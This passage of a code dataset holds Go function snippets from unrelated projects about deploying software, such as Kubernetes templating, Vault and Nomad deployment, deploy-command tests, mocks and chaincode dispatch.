actualCancellations)\n\t\t}\n\t}\n}", "func deploymentCommand(_ *cobra.Command, _ []string) error {\n\tnodePort := varIntNodePort\n\thome := varStringHome\n\tremote := varStringRemote\n\tbranch := varStringBranch\n\tif len(remote) > 0 {\n\t\trepo, _ := util.CloneIntoGitHome(remote, branch)\n\t\tif len(repo) > 0 {\n\t\t\thome = repo\n\t\t}\n\t}\n\n\tif len(home) > 0 {\n\t\tpathx.RegisterGoctlHome(home)\n\t}\n\n\t// 0 to disable the nodePort type\n\tif nodePort != 0 && (nodePort < basePort || nodePort > portLimit) {\n\t\treturn errors.New(\"nodePort should be between 30000 and 32767\")\n\t}\n\n\ttext, err := pathx.LoadTemplate(category, deployTemplateFile, deploymentTemplate)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tout, err := pathx.CreateIfNotExist(varStringO)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\tif varIntTargetPort == 0 {\n\t\tvarIntTargetPort = varIntPort\n\t}\n\n\tt := template.Must(template.New(\"deploymentTemplate\").Parse(text))\n\terr = t.Execute(out, Deployment{\n\t\tName: varStringName,\n\t\tNamespace: varStringNamespace,\n\t\tImage: varStringImage,\n\t\tSecret: varStringSecret,\n\t\tReplicas: varIntReplicas,\n\t\tRevisions: varIntRevisions,\n\t\tPort: varIntPort,\n\t\tTargetPort: varIntTargetPort,\n\t\tNodePort: nodePort,\n\t\tUseNodePort: nodePort > 0,\n\t\tRequestCpu: varIntRequestCpu,\n\t\tRequestMem: varIntRequestMem,\n\t\tLimitCpu: varIntLimitCpu,\n\t\tLimitMem: varIntLimitMem,\n\t\tMinReplicas: varIntMinReplicas,\n\t\tMaxReplicas: varIntMaxReplicas,\n\t\tServiceAccount: varStringServiceAccount,\n\t\tImagePullPolicy: varStringImagePullPolicy,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfmt.Println(color.Green.Render(\"Done.\"))\n\treturn nil\n}", "func (m *ClientMock) MinimockDeployCodeInspect() {\n\tfor _, e := range m.DeployCodeMock.expectations {\n\t\tif mm_atomic.LoadUint64(&e.Counter) < 1 {\n\t\t\tm.t.Errorf(\"Expected call to ClientMock.DeployCode with params: %#v\", *e.params)\n\t\t}\n\t}\n\n\t// if default expectation was set then invocations count should be greater than zero\n\tif m.DeployCodeMock.defaultExpectation != nil && mm_atomic.LoadUint64(&m.afterDeployCodeCounter) < 1 {\n\t\tif m.DeployCodeMock.defaultExpectation.params == nil {\n\t\t\tm.t.Error(\"Expected call to ClientMock.DeployCode\")\n\t\t} else {\n\t\t\tm.t.Errorf(\"Expected call to ClientMock.DeployCode with params: %#v\", *m.DeployCodeMock.defaultExpectation.params)\n\t\t}\n\t}\n\t// if func was set then invocations count should be greater than zero\n\tif m.funcDeployCode != nil && mm_atomic.LoadUint64(&m.afterDeployCodeCounter) < 1 {\n\t\tm.t.Error(\"Expected call to ClientMock.DeployCode\")\n\t}\n}", "func DeploySSH(m *parlaytypes.TreasureMap, logFile string, jsonLogging, background bool) error {\n\n\tif len(ssh.Hosts) == 0 {\n\t\tlog.Warnln(\"No hosts credentials have been loaded, only commands with commandLocal = true will work\")\n\t}\n\tif len(m.Deployments) == 0 {\n\t\treturn fmt.Errorf(\"No Deployments in parlay map\")\n\t}\n\n\tfor x := range m.Deployments {\n\t\t// Build new hosts list from imported SSH servers and compare that we have required credentials\n\t\t_, err := ssh.FindHosts(m.Deployments[x].Hosts)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Begin the deployment\n\tif logFile != \"\" {\n\t\t//enable logging\n\t\tlogger.InitLogFile(logFile)\n\t}\n\n\tif jsonLogging {\n\t\tlogger.InitJSON()\n\t}\n\n\tif background {\n\t\tgo startDeployments(m.Deployments)\n\t} else {\n\t\tstartDeployments(m.Deployments)\n\t}\n\n\t// TODO - test original automation\n\n\t// for x := range m.Deployments {\n\t// \t// Build new hosts list from imported SSH servers and compare that we have required credentials\n\t// \thosts, err := ssh.FindHosts(m.Deployments[x].Hosts)\n\t// \tif err != nil {\n\t// \t\treturn err\n\t// \t}\n\n\t// \t// Beggining of deployment work\n\t// \tlog.Infof(\"Beginning Deployment [%s]\\n\", m.Deployments[x].Name)\n\t// \tlogger.WriteLogEntry(\"\", \"\", \"\", fmt.Sprintf(\"Beginning Deployment [%s]\\n\", m.Deployments[x].Name))\n\n\t// \t// Set Restore checkpoint\n\t// \trestore.Deployment = m.Deployments[x].Name\n\t// \trestore.Hosts = m.Deployments[x].Hosts\n\n\t// \tif m.Deployments[x].Parallel == true {\n\t// \t\t// Begin this deployment in parallel across all hosts\n\t// \t\terr = parallelDeployment(m.Deployments[x].Actions, hosts, &logger)\n\t// \t\tif err != nil {\n\t// \t\t\treturn err\n\t// \t\t}\n\t// \t} else {\n\t// \t\t// This work will be sequential, one host after the next\n\t// \t\tfor z := range m.Deployments[x].Hosts {\n\t// \t\t\tvar hostConfig ssh.HostSSHConfig\n\t// \t\t\t// Find the hosts SSH configuration\n\t// \t\t\tfor i := range hosts {\n\t// \t\t\t\tif hosts[i].Host == m.Deployments[x].Hosts[z] {\n\t// \t\t\t\t\thostConfig = hosts[i]\n\t// \t\t\t\t}\n\t// \t\t\t}\n\t// \t\t\t// Set the state of logging actions to in-progress\n\t// \t\t\tlogger.SetLoggingState(hostConfig.Host, \"Running\")\n\t// \t\t\terr = sequentialDeployment(m.Deployments[x].Actions, hostConfig, &logger)\n\t// \t\t\tif err != nil {\n\t// \t\t\t\tlogger.SetLoggingState(hostConfig.Host, \"Failed\")\n\t// \t\t\t\treturn err\n\t// \t\t\t}\n\t// \t\t\t// Set the state of logging actions to completed\n\t// \t\t\tlogger.SetLoggingState(hostConfig.Host, \"Completed\")\n\t// \t\t}\n\t// \t}\n\t// }\n\treturn nil\n}", "func (c *VaultController) DeployVault(vs *api.VaultServer, v Vault) error {\n\tsaList := v.GetServiceAccounts()\n\tfor _, sa := range saList {\n\t\terr := ensureServiceAccount(c.kubeClient, vs, &sa)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tsvc := v.GetService()\n\terr := ensureService(c.kubeClient, vs, svc)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trList, rBList := v.GetRBACRolesAndRoleBindings()\n\terr = ensureRoleAndRoleBinding(c.kubeClient, vs, rList, rBList)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tcRB := v.GetRBACClusterRoleBinding()\n\terr = ensureClusterRoleBinding(c.kubeClient, vs, cRB)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// apply changes to PodTemplate after creating service accounts\n\t// because unsealer use token reviewer jwt to enable kubernetes auth\n\n\tpodT := v.GetPodTemplate(v.GetContainer(), vs.ServiceAccountName())\n\terr = v.Apply(podT)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\td := v.GetDeployment(podT)\n\tif d != nil {\n\t\terr := ensureDeployment(c.kubeClient, vs, d)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tserviceName := fmt.Sprintf(\"%s-internal\", vs.OffshootName())\n\t\theadlessSvc := v.GetHeadlessService(serviceName)\n\t\terr := ensureService(c.kubeClient, vs, headlessSvc)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// XXX Add pvc support\n\t\tclaims := make([]core.PersistentVolumeClaim, 0)\n\n\t\tsts := v.GetStatefulSet(serviceName, podT, claims)\n\n\t\terr = ensureStatefulSet(c.kubeClient, vs, sts)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif vs.Spec.Monitor != nil && vs.Spec.Monitor.Prometheus != nil {\n\t\tif _, vt, err := c.ensureStatsService(vs); err != nil { // Error ignored intentionally\n\t\t\tc.recorder.Eventf(\n\t\t\t\tvs,\n\t\t\t\tcore.EventTypeWarning,\n\t\t\t\teventer.EventReasonStatsServiceReconcileFailed,\n\t\t\t\t\"Failed to ensure stats Service %s. Reason: %v\",\n\t\t\t\tvs.StatsServiceName(),\n\t\t\t\terr,\n\t\t\t)\n\t\t} else if vt != kutil.VerbUnchanged {\n\t\t\tc.recorder.Eventf(\n\t\t\t\tvs,\n\t\t\t\tcore.EventTypeNormal,\n\t\t\t\teventer.EventReasonStatsServiceReconcileSuccessful,\n\t\t\t\t\"Successfully %s stats Service %s\",\n\t\t\t\tvt,\n\t\t\t\tvs.StatsServiceName(),\n\t\t\t)\n\t\t}\n\t} else {\n\t\tif err := c.ensureStatsServiceDeleted(vs); err != nil { // Error ignored intentionally\n\t\t\tlog.Warningf(\"failed to delete stats Service %s, reason: %s\", vs.StatsServiceName(), err)\n\t\t} else {\n\t\t\tc.recorder.Eventf(\n\t\t\t\tvs,\n\t\t\t\tcore.EventTypeNormal,\n\t\t\t\teventer.EventReasonStatsServiceDeleteSuccessful,\n\t\t\t\t\"Successfully deleted stats Service %s\",\n\t\t\t\tvs.StatsServiceName(),\n\t\t\t)\n\t\t}\n\t}\n\n\tif err = c.manageMonitor(vs); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func DeployResources(testRunner base.ClusterTestRunner) error {\n\t// Deploys a static set of resources\n\tlog.Printf(\"Deploying resources\")\n\n\tpub, _ := testRunner.GetPublicContext(1)\n\tprv, _ := testRunner.GetPrivateContext(1)\n\n\t// Deploys the same set of resources against both clusters\n\t// resources will have index (1 or 2), depending on the\n\t// cluster they are being deployed to\n\tfor i, cluster := range []*client.VanClient{pub.VanClient, prv.VanClient} {\n\t\tclusterIdx := i + 1\n\n\t\t// Annotations (optional) to deployment and services\n\t\tdepAnnotations := map[string]string{}\n\t\tstatefulSetAnnotations := map[string]string{}\n\t\tdaemonSetAnnotations := map[string]string{}\n\t\tsvcNoTargetAnnotations := map[string]string{}\n\t\tsvcTargetAnnotations := map[string]string{}\n\t\tpopulateAnnotations(clusterIdx, depAnnotations, svcNoTargetAnnotations, svcTargetAnnotations,\n\t\t\tstatefulSetAnnotations, daemonSetAnnotations)\n\n\t\t// Create a service without annotations to be taken by Skupper as a deployment will be annotated with this service address\n\t\tif _, err := createService(cluster, fmt.Sprintf(\"nginx-%d-dep-not-owned\", clusterIdx), map[string]string{}); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// One single deployment will be created (for the nginx http server)\n\t\tif _, err := createDeployment(cluster, depAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif _, err := createStatefulSet(cluster, statefulSetAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif _, err := createDaemonSet(cluster, daemonSetAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Now create two services. One that does not have a target address,\n\t\t// and another that provides a target address.\n\t\tif _, err := createService(cluster, fmt.Sprintf(\"nginx-%d-svc-exp-notarget\", clusterIdx), svcNoTargetAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// This service with the target should not be exposed (only the target service will be)\n\t\tif _, err := createService(cluster, fmt.Sprintf(\"nginx-%d-svc-target\", clusterIdx), svcTargetAnnotations); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// Wait for pods to be running\n\tfor _, cluster := range []*client.VanClient{pub.VanClient, prv.VanClient} {\n\t\tlog.Printf(\"waiting on pods to be running on %s\", cluster.Namespace)\n\t\t// Get all pod names\n\t\tpodList, err := cluster.KubeClient.CoreV1().Pods(cluster.Namespace).List(context.TODO(), metav1.ListOptions{})\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif len(podList.Items) == 0 {\n\t\t\treturn fmt.Errorf(\"no pods running\")\n\t\t}\n\n\t\tfor _, pod := range podList.Items {\n\t\t\t_, err := kube.WaitForPodStatus(cluster.Namespace, cluster.KubeClient, pod.Name, corev1.PodRunning, timeout, interval)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (sparkMasterDeployment *SparkMasterDeployment) Deploy(){\n\tsparkMasterDeployment.deploymentClient.DeleteService(\"spark-master\")\n\tsparkMasterDeployment.deploymentClient.DeleteService(\"spark-webui\")\n\tsparkMasterDeployment.deploymentClient.DeleteDeployment(sparkMasterDeployment.sparkMasterName)\n\n\tsparkMasterDeployment.deploymentClient.CreateService(\"spark-master\", 7077, sparkMasterDeployment.labels)\n\tsparkMasterDeployment.deploymentClient.CreateService(\"spark-webui\", 8080, sparkMasterDeployment.labels)\n\tsparkMasterDeployment.deploymentClient.CreateDeployment(\n\t\tsparkMasterDeployment.generateDeploymentConfig())\n}", "func (tc *ConsulE2ETest) TestCanaryInplaceUpgrades(f *framework.F) {\n\tt := f.T()\n\n\t// TODO(shoenig) https://github.com/hashicorp/nomad/issues/9627\n\tt.Skip(\"THIS TEST IS BROKEN (#9627)\")\n\n\tnomadClient := tc.Nomad()\n\tconsulClient := tc.Consul()\n\tjobId := \"consul\" + uuid.Generate()[0:8]\n\ttc.jobIds = append(tc.jobIds, jobId)\n\n\tallocs := e2eutil.RegisterAndWaitForAllocs(f.T(), nomadClient, consulJobCanaryTags, jobId, \"\")\n\trequire.Equal(t, 2, len(allocs))\n\n\tallocIDs := e2eutil.AllocIDsFromAllocationListStubs(allocs)\n\te2eutil.WaitForAllocsRunning(t, nomadClient, allocIDs)\n\n\t// Start a deployment\n\tjob, _, err := nomadClient.Jobs().Info(jobId, nil)\n\trequire.NoError(t, err)\n\tjob.Meta = map[string]string{\"version\": \"2\"}\n\tresp, _, err := nomadClient.Jobs().Register(job, nil)\n\trequire.NoError(t, err)\n\trequire.NotEmpty(t, resp.EvalID)\n\n\t// Eventually have a canary\n\tvar activeDeploy *api.Deployment\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tdeploys, _, err := nomadClient.Jobs().Deployments(jobId, false, nil)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tif expected := 2; len(deploys) != expected {\n\t\t\treturn false, fmt.Errorf(\"expected 2 deploys but found %v\", deploys)\n\t\t}\n\n\t\tfor _, d := range deploys {\n\t\t\tif d.Status == structs.DeploymentStatusRunning {\n\t\t\t\tactiveDeploy = d\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif activeDeploy == nil {\n\t\t\treturn false, fmt.Errorf(\"no running deployments: %v\", deploys)\n\t\t}\n\t\tif expected := 1; len(activeDeploy.TaskGroups[\"consul_canary_test\"].PlacedCanaries) != expected {\n\t\t\treturn false, fmt.Errorf(\"expected %d placed canaries but found %#v\",\n\t\t\t\texpected, activeDeploy.TaskGroups[\"consul_canary_test\"])\n\t\t}\n\n\t\treturn true, nil\n\t}, func(err error) {\n\t\tf.NoError(err, \"error while waiting for deploys\")\n\t})\n\n\tallocID := activeDeploy.TaskGroups[\"consul_canary_test\"].PlacedCanaries[0]\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\talloc, _, err := nomadClient.Allocations().Info(allocID, nil)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\tif alloc.DeploymentStatus == nil {\n\t\t\treturn false, fmt.Errorf(\"canary alloc %s has no deployment status\", allocID)\n\t\t}\n\t\tif alloc.DeploymentStatus.Healthy == nil {\n\t\t\treturn false, fmt.Errorf(\"canary alloc %s has no deployment health: %#v\",\n\t\t\t\tallocID, alloc.DeploymentStatus)\n\t\t}\n\t\treturn *alloc.DeploymentStatus.Healthy, fmt.Errorf(\"expected healthy canary but found: %#v\",\n\t\t\talloc.DeploymentStatus)\n\t}, func(err error) {\n\t\tf.NoError(err, \"error waiting for canary to be healthy\")\n\t})\n\n\t// Check Consul for canary tags\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tconsulServices, _, err := consulClient.Catalog().Service(\"canarytest\", \"\", nil)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tfor _, s := range consulServices {\n\t\t\tif helper.CompareSliceSetString([]string{\"canary\", \"foo\"}, s.ServiceTags) {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t}\n\t\treturn false, fmt.Errorf(`could not find service tags {\"canary\", \"foo\"}: %#v`, consulServices)\n\t}, func(err error) {\n\t\tf.NoError(err, \"error waiting for canary tags\")\n\t})\n\n\t// Promote canary\n\t{\n\t\tresp, _, err := nomadClient.Deployments().PromoteAll(activeDeploy.ID, nil)\n\t\trequire.NoError(t, err)\n\t\trequire.NotEmpty(t, resp.EvalID)\n\t}\n\n\t// Eventually canary is promoted\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\talloc, _, err := nomadClient.Allocations().Info(allocID, nil)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\treturn !alloc.DeploymentStatus.Canary, fmt.Errorf(\"still a canary\")\n\t}, func(err error) {\n\t\trequire.NoError(t, err, \"error waiting for canary to be promoted\")\n\t})\n\n\t// Verify that no instances have canary tags\n\texpected := []string{\"foo\", \"bar\"}\n\ttestutil.WaitForResult(func() (bool, error) {\n\t\tconsulServices, _, err := consulClient.Catalog().Service(\"canarytest\", \"\", nil)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\tfor _, s := range consulServices {\n\t\t\tif !helper.CompareSliceSetString(expected, s.ServiceTags) {\n\t\t\t\treturn false, fmt.Errorf(\"expected %#v Consul tags but found %#v\",\n\t\t\t\t\texpected, s.ServiceTags)\n\t\t\t}\n\t\t}\n\t\treturn true, nil\n\t}, func(err error) {\n\t\trequire.NoError(t, err, \"error waiting for non-canary tags\")\n\t})\n\n}", "func TestCmdDeploy_latestConcurrentRejection(t *testing.T) {\n\tvar existingDeployment *kapi.ReplicationController\n\n\tcommandClient := &deployCommandClientImpl{\n\t\tGetDeploymentFn: func(namespace, name string) (*kapi.ReplicationController, error) {\n\t\t\treturn existingDeployment, nil\n\t\t},\n\t\tUpdateDeploymentConfigFn: func(config *deployapi.DeploymentConfig) (*deployapi.DeploymentConfig, error) {\n\t\t\tt.Fatalf(\"unexpected call to UpdateDeploymentConfig\")\n\t\t\treturn nil, nil\n\t\t},\n\t\tUpdateDeploymentFn: func(deployment *kapi.ReplicationController) (*kapi.ReplicationController, error) {\n\t\t\tt.Fatalf(\"unexpected call to UpdateDeployment for %s/%s\", deployment.Namespace, deployment.Name)\n\t\t\treturn nil, nil\n\t\t},\n\t}\n\n\tc := &deployLatestCommand{client: commandClient}\n\n\tinvalidStatusList := []deployapi.DeploymentStatus{\n\t\tdeployapi.DeploymentStatusNew,\n\t\tdeployapi.DeploymentStatusPending,\n\t\tdeployapi.DeploymentStatusRunning,\n\t}\n\n\tfor _, status := range invalidStatusList {\n\t\tconfig := deploytest.OkDeploymentConfig(1)\n\t\texistingDeployment = deploymentFor(config, status)\n\t\terr := c.deploy(config, ioutil.Discard)\n\t\tif err == nil {\n\t\t\tt.Errorf(\"expected an error starting deployment with existing status %s\", status)\n\t\t}\n\t}\n}", "func (mr *MockRemoteSnapshotMockRecorder) Deployments() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Deployments\", reflect.TypeOf((*MockRemoteSnapshot)(nil).Deployments))\n}", "func (a *Client) TriggerPipelineBuildDeploy(params *TriggerPipelineBuildDeployParams, authInfo runtime.ClientAuthInfoWriter, opts ...ClientOption) (*TriggerPipelineBuildDeployOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewTriggerPipelineBuildDeployParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"triggerPipelineBuildDeploy\",\n\t\tMethod: \"POST\",\n\t\tPathPattern: \"/applications/{appName}/pipelines/build-deploy\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\", \"https\"},\n\t\tParams: params,\n\t\tReader: &TriggerPipelineBuildDeployReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*TriggerPipelineBuildDeployOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for triggerPipelineBuildDeploy: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "func (ac *applicationController) IsDeployKeyValidHandler(accounts models.Accounts, w http.ResponseWriter, r *http.Request) {\n\t// swagger:operation GET /applications/{appName}/deploykey-valid application isDeployKeyValid\n\t// ---\n\t// summary: Checks if the deploy key is correctly setup for application by cloning the repository\n\t// parameters:\n\t// - name: appName\n\t// in: path\n\t// description: Name of application\n\t// type: string\n\t// required: true\n\t// - name: Impersonate-User\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test users (Required if Impersonate-Group is set)\n\t// type: string\n\t// required: false\n\t// - name: Impersonate-Group\n\t// in: header\n\t// description: Works only with custom setup of cluster. Allow impersonation of test group (Required if Impersonate-User is set)\n\t// type: array\n\t// items:\n\t// type: string\n\t// required: false\n\t// responses:\n\t// \"200\":\n\t// description: \"Deploy key is valid\"\n\t// \"401\":\n\t// description: \"Unauthorized\"\n\t// \"403\":\n\t// description: \"Forbidden\"\n\t// \"404\":\n\t// description: \"Not found\"\n\t// \"409\":\n\t// description: \"Conflict\"\n\t// \"500\":\n\t// description: \"Internal server error\"\n\n\tappName := mux.Vars(r)[\"appName\"]\n\tisDeployKeyValid, err := IsDeployKeyValid(r.Context(), accounts.UserAccount, appName)\n\n\tif isDeployKeyValid {\n\t\tradixhttp.JSONResponse(w, r, &isDeployKeyValid)\n\t\treturn\n\t}\n\n\tradixhttp.ErrorResponse(w, r, err)\n}", "func TestCmdDeploy_retryRejectNonFailed(t *testing.T) {\n\tvar existingDeployment *kapi.ReplicationController\n\n\tcommandClient := &deployCommandClientImpl{\n\t\tGetDeploymentFn: func(namespace, name string) (*kapi.ReplicationController, error) {\n\t\t\treturn existingDeployment, nil\n\t\t},\n\t\tUpdateDeploymentConfigFn: func(config *deployapi.DeploymentConfig) (*deployapi.DeploymentConfig, error) {\n\t\t\tt.Fatalf(\"unexpected call to UpdateDeploymentConfig\")\n\t\t\treturn nil, nil\n\t\t},\n\t\tUpdateDeploymentFn: func(deployment *kapi.ReplicationController) (*kapi.ReplicationController, error) {\n\t\t\tt.Fatalf(\"unexpected call to UpdateDeployment\")\n\t\t\treturn nil, nil\n\t\t},\n\t\tListDeployerPodsForFn: func(namespace, deploymentName string) (*kapi.PodList, error) {\n\t\t\tt.Fatalf(\"unexpected call to ListDeployerPodsFor\")\n\t\t\treturn nil, nil\n\t\t},\n\t\tDeletePodFn: func(pod *kapi.Pod) error {\n\t\t\tt.Fatalf(\"unexpected call to DeletePod\")\n\t\t\treturn nil\n\t\t},\n\t}\n\n\tc := &retryDeploymentCommand{client: commandClient}\n\n\tinvalidStatusList := []deployapi.DeploymentStatus{\n\t\tdeployapi.DeploymentStatusNew,\n\t\tdeployapi.DeploymentStatusPending,\n\t\tdeployapi.DeploymentStatusRunning,\n\t\tdeployapi.DeploymentStatusComplete,\n\t}\n\n\tfor _, status := range invalidStatusList {\n\t\tconfig := deploytest.OkDeploymentConfig(1)\n\t\texistingDeployment = deploymentFor(config, status)\n\t\terr := c.retry(config, ioutil.Discard)\n\t\tif err == nil {\n\t\t\tt.Errorf(\"expected an error retrying deployment with status %s\", status)\n\t\t}\n\t}\n}", "func (this *Deployment) deploy() error {\n\tif len(this.Application.Processes) == 0 {\n\t\treturn fmt.Errorf(\"No processes scaled up, adjust with `ps:scale procType=#` before deploying\")\n\t}\n\n\ttitleLogger := NewFormatter(this.Logger, GREEN)\n\tdimLogger := NewFormatter(this.Logger, DIM)\n\n\te := Executor{dimLogger}\n\n\tthis.autoDetectRevision()\n\n\terr := writeDeployScripts()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tremoveDynos, allocatingNewDynos, err := this.calculateDynosToDestroy()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif allocatingNewDynos {\n\t\tavailableNodes, err := this.syncNodes()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// Now we've successfully sync'd and we have a list of nodes available to deploy to.\n\t\taddDynos, err := this.startDynos(availableNodes, titleLogger)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfmt.Fprintf(titleLogger, \"Arbitrary sleeping for 30s to allow dynos to warm up before syncing load balancers\\n\")\n\t\ttime.Sleep(30 * time.Second)\n\n\t\terr = this.Server.SyncLoadBalancers(&e, addDynos, removeDynos)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif !this.ScalingOnly {\n\t\t// Update releases.\n\t\treleases, err := getReleases(this.Application.Name)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// Prepend the release (releases are in descending order)\n\t\treleases = append([]Release{{\n\t\t\tVersion: this.Version,\n\t\t\tRevision: this.Revision,\n\t\t\tDate: time.Now(),\n\t\t\tConfig: this.Application.Environment,\n\t\t}}, releases...)\n\t\t// Only keep around the latest 15 (older ones are still in S3)\n\t\tif len(releases) > 15 {\n\t\t\treleases = releases[:15]\n\t\t}\n\t\terr = setReleases(this.Application.Name, releases)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\t// Trigger old dynos to shutdown.\n\t\tfor _, removeDyno := range removeDynos {\n\t\t\tfmt.Fprintf(titleLogger, \"Shutting down dyno: %v\\n\", removeDyno.Container)\n\t\t\tgo func(rd Dyno) {\n\t\t\t\trd.Shutdown(&Executor{os.Stdout})\n\t\t\t}(removeDyno)\n\t\t}\n\t}\n\n\treturn nil\n}", "func (t *Deliverys) Invoke(stub shim.ChaincodeStubInterface) pb.Response {\r\n function, args := stub.GetFunctionAndParameters()\r\n fmt.Println(\"invoke is running \" + function)\r\n\r\n // Handle different functions\r\n if function == \"createDelivery\" { //create a new Delivery\r\n return t.createDelivery(stub, args)\r\n\t}else if function == \"getDeliveryByPurchaseID\" { //find delivery for a particular purchase id using rich query\r\n return t.getDeliveryByPurchaseID(stub, args)\r\n }else if function == \"getAllDAPDelivery\" { //find delivery for a particular purchase id using rich query\r\n return t.getAllDAPDelivery(stub, args)\r\n } else if function == \"getAllDAPDeliveryDate\" { //find delivery for a particular purchase id using rich query\r\n return t.getAllDAPDeliveryDate(stub, args)\r\n }\r\n\t \r\n eventMessage := \"{ \\\"message\\\" : \\\"Received unknown function invocation\\\", \\\"code\\\" : \\\"503\\\"}\"\r\n err := stub.SetEvent(\"errEvent\", []byte(eventMessage))\r\n if err != nil {\r\n return shim.Error(err.Error())\r\n }\r\n fmt.Println(\"invoke did not find func: \" + function) //error\r\n return shim.Error(\"Received unknown function invocation\")\r\n}", "func (ros *RolloutState) issueServiceRollout() (bool, error) {\n\tsm := ros.Statemgr\n\tversion := ros.Spec.Version\n\n\tserviceRollouts, err := sm.ListServiceRollouts()\n\tif err != nil {\n\t\tlog.Errorf(\"Error %v listing ServiceRollouts\", err)\n\t\treturn false, err\n\t}\n\tif len(serviceRollouts) != 0 {\n\t\tv := serviceRollouts[0]\n\t\tfound := false\n\t\tfor _, ops := range v.Spec.Ops {\n\t\t\tif ops.Op == protos.ServiceOp_ServiceRunVersion && ops.Version == version {\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\n\t\tstatusFound := false\n\t\tif v.status[protos.ServiceOp_ServiceRunVersion].OpStatus != \"\" {\n\t\t\tstatusFound = true\n\t\t}\n\n\t\tif !found {\n\t\t\tv.Spec.Ops = append(v.Spec.Ops, protos.ServiceOpSpec{Op: protos.ServiceOp_ServiceRunVersion, Version: version})\n\t\t\tlog.Infof(\"setting serviceRollout with version %v\", version)\n\t\t\terr = sm.memDB.UpdateObject(v)\n\t\t\treturn true, err // return pending servicerollout with err\n\t\t}\n\t\tif statusFound {\n\t\t\tlog.Infof(\"Spec and Status found. no pending serviceRollout\")\n\t\t\treturn false, nil // spec and status found. no pending servicerollout\n\t\t}\n\t\tlog.Infof(\"Spec found but no Status. pending serviceRollout\")\n\t\treturn true, nil // spec found but status not found. return pending servicerollout\n\t}\n\n\t// the servicerollout object not found - create one\n\tserviceRollout := protos.ServiceRollout{\n\t\tTypeMeta: api.TypeMeta{\n\t\t\tKind: kindServiceRollout,\n\t\t},\n\t\tObjectMeta: api.ObjectMeta{\n\t\t\tName: \"serviceRollout\",\n\t\t},\n\t\tSpec: protos.ServiceRolloutSpec{\n\t\t\tOps: []protos.ServiceOpSpec{\n\t\t\t\t{\n\t\t\t\t\tOp: protos.ServiceOp_ServiceRunVersion,\n\t\t\t\t\tVersion: version,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tlog.Infof(\"Creating serviceRollout\")\n\terr = sm.CreateServiceRolloutState(&serviceRollout, ros, nil)\n\tif err != nil {\n\t\tlog.Errorf(\"Error %v creating service rollout state\", err)\n\t}\n\treturn true, err\n}" ]
